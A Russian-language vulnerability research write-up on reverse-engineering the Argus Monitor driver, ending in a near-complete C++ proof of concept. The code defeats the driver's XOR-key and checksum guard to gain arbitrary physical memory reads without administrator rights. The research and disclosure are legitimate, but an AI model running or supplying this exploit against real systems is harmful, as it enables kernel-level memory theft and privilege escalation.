Находим 0day уязвимость в драйвере Argus Monitor
Предисловие
Около недели назад я поставил себе цель найти уязвимый драйвер. Для этого я взял свой старый ноутбук и начал скачивать на него десятки программ. Фокус делал на программах по настройке ргб, прошивках, которые работают с дисками и в общем программ для работы которых в большинстве понадобится драйвер. Скриптом на руthon я делал поиск по всему диску драйверов и собирал их все в одном месте. Так среди всей кучи и нашелся наш сегодняшний пациент ArgusMonitor.sys.
Первоначальный анализ
После открытия драйвера в IDA и перейдя в driver entry мы видим такую картину:

Тут показывается нам первая сладкая новость. Драйвер создает свой девайс для коммуникации функцией IoCreateDevice
, далее создает на него так-же символическую ссылку.
Для нас это лакомый кусочек. Создание коммуникации через данную функцию позволяет коммуницировать с драйвером без привилегий администратора, что для нас идеальный сценарий.
Так-же на фото мы видим инициализацию нескольких функций для обработки IRP-запросов. Самая главная для нас это функция под индексом 14, отвечающая за IRP_MJ_DEVICE_CONTROL
, т.е. обработку IOCTL коммуникации.

Перейдя туда мы видим десяток второй IOCTL запросов которые обрабатывает наш драйвер. Про всех говорить смысла нету, из интересного для нас там есть функции которые работают с реестром, используют
_readmsr()
, _writemsr()
, HalGetBusDataByoffset()
,
HalSetBusDataByoffset()
а так-же те которые используют MmMapIoSpace
на одну из которых мы
сегодня и нацелимся.
Так как меня больше всего из этого интересует чтение памяти, мы перейдя в импорты и найдя функцию MmMapIoSpace
можем посмотреть все места где эта функция используется в драйвере.
Мы видим одно место где используется наша функция.

Перейдя по первой мы видим что это функция враппера, который используется для того чтобы переключаться между MmMapIoSpace
и ее расширенной версией MmMapIoSpaceEx
. Дальше смотрим xrefs этого враппера и видим 8 использований.

Показывать все вам не буду, но пробежавшись по всем, можно заметить одну особо короткую функцию которая очень сильно похожа на функцию для чтение памяти. Переходим и видим такое маленькое чудо:

Смотрим xrefs этой функции и видим что она как раз используется в обработчике IOCTL запросов.
Но мы не видим нигде IOCTL код, надо посмотреть выше:

В 100 строках кода выше и скрывается наш IOCTL который и работает с нашей функцией - 0x9C40340C
.
Проблематика

Бросив глаз на нашу функцию еще раз мы видим сразу голым глазом что он проверяет на размер входного и выходного буффера. Тут мы имеем простую проверку на размер. Это можно проверить отправляя буфферы разных размеров.
Только начало проблем
Казалось бы, мы имеем код IOCTL который обрабатывает функцию чтения, драйвер принимает коммуникацию без прав администратора, что ещё нужно для счастья? Бери и отправляй запрос. Тут и начинается кроличья нора, если мы попробуем выслать запрос в драйвер мы получим ответ 0xE000A008
. Смотрим куда шлет нас следующая проверка в драйвере и видим что она нас пересылает в LABEL_17
в котором и показывается наша ошибка.
Смотря еще раз в код мы видим что ошибку вызывает то что переменная byte_14000F0DC
не равна 1
.
За что она отвечает? Я сразу как наверное и вы тоже подумали что очень сильно похоже на проверку готов ли драйвер перед чем-то, или на проверку какой то инициализации чего либо. Чтобы это проверить что надо? Правильно, глянуть на то, как себя поведет драйвер если мы откроем перед ним саму программу Argus Monitor которая и будет в фоне работать с самим драйвером. И о чудо, появляется уже другая ошибка, что и означает, что программа что-то делает с драйвером что переменная меняется на 1
.
Но чтобы сохранить плот-твист, мы пока что не будем в это углубляться и вернемся к этому позже. Так как мы и так обходим данную проверку открытием клиента перед тем как высылать запрос так что пока что оставим это.
Чем мы щас займемся, так это будем начинать углублятся какую следующую ошибку нам показывает после попытки запустить функцию чтения.
Мы получаем ошибку 0xE000A009
в которую нас прекидывает данная функция:

Видим что функция берет в себя MasterIrp
, что-то похожее на размер 0x18
и a3
которое перед этим инициализируется как 1
.
Смотрим что из себя представляет функция:

Сразу бросается в глаза XOR операция то даёт нам знак, что тут проводится какое-то XOR шифрование на буффере MasterIrp. Так-же стоит уточнить что она происходит только тогда когда a3 == 1
и то, что он проводит XOR шифрование всех байтов кроме двух последних, мы узнаем позже почему. Для тех кто никогда не имел дело с XOR шифрованием, попробую в двух словах объяснить и визуализировать как работает XOR шифрование:
XOR Таблица:
Input A | Input B | Output A ⊕ B |
---|---|---|
0 | 0 | 0 |
0 | 1 | 1 |
1 | 0 | 1 |
1 | 1 | 0 |
Вот пример такого шифрования:
Этап | Символ | ASCII | Бинарное представление |
---|---|---|---|
Шифруемый символ | a | 97 | 01100001 |
Ключ | b | 98 | 01100010 |
Результат | 3 | 00000011 |
Появляется вопрос как расшифровать? Все просто, прогнать через ключ ещё раз.
Этап | Символ | ASCII | Бинарное представление |
---|---|---|---|
Результат шифрования a ⊕ b | 3 | 00000011 | |
Ключ | b | 98 | 01100010 |
Результат XOR | a | 97 | 01100001 |
Проще говоря:
T - text; K - key;
$$ E = T \oplus K $$ $$ T = E \oplus K $$
Так вот, возвращаясь к функции, что нам дает понимание того как работает XOR и его расшифровка? Дает то что мы теперь понимаем что эта функция не шифрует входной буффер XOR’ом, а расшифровывает его. Как мы видим функция используется с аргументом a3 = 1
то есть производит XOR операцию на входном буффере, и после этого берет физический адрес который и передается в функцию чтения что доказывает, что он именно расшифровывает, ведь если бы он шифровал, адрес который бы он пытался прочитать был бы невалидный.
Теперь посмотрим что дальше делает функция:

После цикла XOR идет инициализация переменной v9
:
v9 = (unsigned int)(a2 - 2);
Так как мы уже поняли что a2 это размер нашего инпута, тут понятно что он отнимает 2 байта от его размера, дальше мы увидим зачем.
Дальше он приписывает переменной v10
ноль, делает проверку на минимальный размер и запускает цикл.
Из цикла понятно, что он прогоняет весь инпут побайтово и также как и в xor цикле, он пропускает последние 2 байта.
Интересное в этом всем что он делает:
v3 += *(unsigned __int8 *)(v11 + a1);
Он сохраняет в v3
сумму всех байтовых значений входного буффера кроме последних 2 байтов. Довольно интригующе.
Дальше финальная проверка, посмотрим что она из себя представляет:
return *(_BYTE *)(v9 + a1) == HIBYTE(v3) && *(_BYTE *)((unsigned int)(a2 - 1) + a1) == (_BYTE)v3;
В конце функция проверяет является ли предпоследний байт входного буффера старшим битом суммы из цикла и является ли последний байт этой же суммой.
Честно говоря, хотя я был хорошо знаком с XOR шифрованием ибо это классика шифрования почти во всех сферах, но вот когда я увидел это в первый раз не сразу понял, что это. Я сразу понял как оно работает и для чего, но вот когда видишь, что-то в коде, иногда трудно понять что это какая то популярная техника. Тянуть не буду, ибо многие наверное уже поняли что это ванильный checksum(контрольная сумма).
Так вот, для чего же нужен checksum?
Checksum это техника проверки целостности данных. Основная идея заключается в том, что из исходных данных вычисляется короткий код (хэш), который служит как бы “отпечатком” этих данных. Если данные изменяются хоть на один бит, даже самое малое изменение приведет к тому, что хэш уже не совпадет с исходным. Это позволяет легко обнаруживать изменения в данных. Проще говоря вариация того же SHA256 хэша файлов или кому ближе CRC32, это все тоже можно сказать разновидности checksum, правда сложнее, чем та что у нас тут.
Как обойти это?
Checksum
Так как мы уже поняли что драйвер проверяет на наличие суммы и старшего бита в двух последних байтах, из этого вывода мы понимаем, что надо сделать так же как и в драйвере - посчитать сумму всех байтов, поместить сумму в последний байт и в предпоследний поместить старший байт полученной суммы.
Вот пример такой функции которая делает checksum калькуляцию для буффера:
bool checksum_buffer(uint8_t* buffer, int size)
{
unsigned int v6 = size - 2;
int16_t checksum = 0;
for (unsigned short i = 0; i < v6; i++)
{
checksum += buffer[i];
}
buffer[v6] = (checksum >> 8) & 0xFF;
buffer[v6 + 1] = checksum & 0xFF;
return true;
}
XOR
Как мы выше поняли, XOR что используется в драйвере должен избегать двух последних байт, вот пример такой функции:
bool xor_buffer(uint8_t* buffer, int size)
{
unsigned int v6 = size - 2;
for (unsigned short i = 0; i < v6; i++)
{
buffer[i] ^= xor_key[i];
}
return true;
}
Как выше и упоминал, нам надо зашифровать наш входной буффер ключем который используется в драйвере, отправить запрос с зашифрованным инпутом чтобы в самом драйвере он снова произвел операцию XOR на входном буффере что расшифрует его. То есть что нам надо прежде всего? Правильно - ключ!

Перейдя в саму переменную которая используется как ключ мы видим что это массив байтов размером 510 и она не инициализирован посмотрим тогда все места где она используется:

И тут мы видим картину что кроме 4 мест где она просто загружается в регистр, она нигде не меняется. Но, если мы перейдем по всем то увидим что один из них перекидывает нас на какой-то цикл в обработчике IOCTL запросов, посмотрим на это подробнее:

С первого взгляда если бы нас перекинуло на первую строчку где используется переменная, можно было бы подумать что тут мы просто читаем переменную и приписываем ее содержимое в переменную, но нет, если посмотреть внимательней как на фото мы видим что он приписывает именно адрес этой перменной к переменной v88
и дальше инициализирует переменную содержимым входного буфера.
Тут тоже надо вспомнить переменную, на которую была проверка и которая становилась 1 когда открыта сама программа, немного ниже она тут как раз и инициализирует в 1.

Что мы имеем в полной картине?
Есть IOCTL функция которая инициализирует XOR ключ который высылается со стороны клиента, так-же в функциях IOCTL как раз есть проверка на переменную которая в этой функции инициализируется, что дает нам понять что эта переменная отвечает за то, инициализирован ли XOR ключ в драйвере или нет.
Высылаем свой XOR ключ
В начале стоит понять какие проверки происходят в этой функции:

Тут мы видим первые две проверки на размер входного и выходного буффера, тут можем еще раз удостовериться что функция принимает XOR ключ потому что размер входного буффера 512 байтов, а как мы вспомнимаем наша XOR переменная как раз размером 510
байт и 2
байта идет на checksum.
Дальше идет как раз наша функция которая делает checksum и xor валидацию, и тут мы видим что третий аргумент здесь ноль, что как мы вспомнимаем означает что функция пропускает операции с XOR’ом и делает только валидацию checksum.
Важная деталь на которую мы должны обратить внимание, это какой XOR ключ мы выберем. Логично было бы выбрать ключ что-то типа одних единиц, но можно пойти немного хитрее.
Так как мы знаем из таблицы что я приводил выше что XOR операция 0 и 1 выдаст 1, а 0 и 0 выдаст 1, то есть:
$$ 1 \oplus 0 = 1$$ $$ 0 \oplus 0 = 0 $$
Это означает что:
$$ a \oplus 0 = a $$
Ура! Мы теперь поняли как можно полностью отключить XOR шифрование.
Теперь мы можем делать функцию по отправке IOCTL-запроса с ключом в драйвер:
bool send_xor_key()
{
uint8_t input[0x200];
uint8_t output[0x210];
for (int i = 0; i < sizeof(input); i++)
{
input[i] = 0;
}
if (!checksum_buffer(input, sizeof(input)))
{
printf("cant checksum buffer\n");
return false;
}
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
hDevice,
IOCTL_SETUP_XOR,
&input,
sizeof(input),
&output,
sizeof(output),
&bytesReturned,
nullptr);
if (!result)
{
std::cerr << "IOCTL error: " << std::hex << GetLastError() << std::endl;
CloseHandle(hDevice);
return false;
}
return true;
}
Если отправляем XOR ключ из нулей, то можно пропустить checksum калькуляцию ибо два последних байта все равно будут равняться нулю
Делаем функцию для чтения памяти
Так как мы уже разобрались со всеми проверками и шифрованием, мы можем перейти к самой функции чтения, тут ничего особо сложного не будет, вот пример такой функции:
ULONG64 read_mem(ULONG address)
{
uint8_t input[0x18];
uint8_t output[0x610];
memset(input, 0, sizeof(input));
memset(output, 0, sizeof(output));
*reinterpret_cast<ULONG*>(input) = address;
*reinterpret_cast<ULONG*>(input + 4) = sizeof(ULONG64);
checksum_buffer(input, sizeof(input));
xor_buffer(input, sizeof(input));
DWORD bytesReturned = 0;
DeviceIoControl(
hDevice,
IOCTL_READ_PHYS,
&input,
sizeof(input),
&output,
sizeof(output),
&bytesReturned,
nullptr);
xor_buffer(output, sizeof(output));
return *reinterpret_cast<ULONG64*>(output);
}
Если отправляем XOR ключ из нулей, то тут можно пропустить калькуляцию XOR
Gameover
Соединяем все вместе и получаем:
int main()
{
memset(xor_key, 0, sizeof(xor_key));
if (!open_device())
{
return 1;
}
if (!send_xor_key())
{
return 1;
}
ULONG64 read = read_mem(0x40);
std::cout << std::hex << read << std::endl;
CloseHandle(hDevice);
return 0;
}
Время на тест
Ура! Все работает! Мы получили с вами уязвимость произвольного чтения физической памяти.
Спасибо за прочтение, надеюсь вы узнали что-то новое для себя.
Весь код PoC есть на github.